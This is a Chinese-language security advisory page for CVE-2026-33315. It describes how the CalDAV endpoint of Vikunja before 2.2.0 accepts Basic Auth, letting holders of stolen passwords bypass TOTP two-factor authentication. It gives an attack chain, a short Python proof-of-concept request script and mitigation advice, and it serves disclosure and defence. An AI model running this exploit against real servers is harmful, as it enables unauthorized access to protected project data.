IPBUF安全漏洞报告
English
CVE-2026-33315 CVSS 4.3 中危

CVE-2026-33315 Vikunja Caldav认证绕过漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-33315
漏洞类型
认证绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Vikunja

相关标签

认证绕过Vikunja2FA绕过信息泄露

漏洞概述

Vikunja是一个开源的自托管任务管理平台。在2.2.0版本之前,其Caldav端点允许用户使用Basic Authentication进行登录。这一机制存在缺陷,使得攻击者能够绕过启用了TOTP的双因素认证(2FA)保护,从而直接访问本应受到严密保护的项目信息,如项目名称和描述等。该漏洞可能导致敏感信息泄露。

技术细节

该漏洞的根本原因在于Vikunja的Caldav接口在处理身份验证逻辑时未能与主应用保持一致的安全策略。尽管主Web界面强制实施了基于时间的一次性密码(TOTP)双因素认证(2FA)机制,以增强账户安全性,但Caldav接口却独立地接受传统的Basic Authentication(即仅验证用户名和密码)。这种安全机制的割裂为攻击者提供了可乘之机。攻击者只要通过网络钓鱼或其他方式获取到受害者的有效登录凭证(用户名和密码),即可利用Python脚本或工具构造包含Authorization头的HTTP请求,直接访问Caldav端点。由于后端在验证Basic Auth成功后未进一步校验TOTP令牌,攻击者成功绕过了第二层防御。此时,攻击者可以获取并解析服务端返回的XML或JSON格式的数据,窃取项目名称、描述等原本受2FA保护的敏感信息。

攻击链分析

STEP 1
信息收集
攻击者发现目标使用的是Vikunja平台,并确认其开启了Caldav服务。
STEP 2
凭证获取
攻击者通过撞库、钓鱼或其他手段获取了受害者的登录用户名和密码。
STEP 3
发送利用请求
攻击者构造包含Basic Authentication头部的HTTP请求,直接向Caldav端点发送查询指令。
STEP 4
绕过2FA
由于Caldav端点未校验TOTP,攻击者成功通过身份验证,绕过了主应用的2FA限制。
STEP 5
数据窃取
攻击者获取服务器响应,读取项目名称、描述等敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import base64 # Target configuration target_url = "http://<target-ip>:<port>/dav/" # Replace with actual Caldav endpoint username = "victim_username" password = "victim_password" # Construct Basic Auth header credentials = f"{username}:{password}" b64_credentials = base64.b64encode(credentials.encode()).decode() headers = { "Authorization": f"Basic {b64_credentials}", "Content-Type": "application/xml" } # Caldav PROPFIND request to list resources/data body = '''<?xml version="1.0" encoding="utf-8" ?> <D:propfind xmlns:D="DAV:"> <D:prop> <D:displayname/> </D:prop> </D:propfind>''' try: # Sending request to bypass 2FA response = requests.request("PROPFIND", target_url, headers=headers, data=body, verify=False) if response.status_code == 200 or response.status_code == 207: print("[+] Successfully bypassed 2FA via Caldav Basic Auth!") print("[+] Response Content:") print(response.text) else: print(f"[-] Failed to exploit. Status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] Error: {e}")

影响范围

Vikunja < 2.2.0

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用Caldav接口功能,或者通过防火墙规则仅允许可信的IP地址访问Caldav端口,以阻断未授权的利用尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表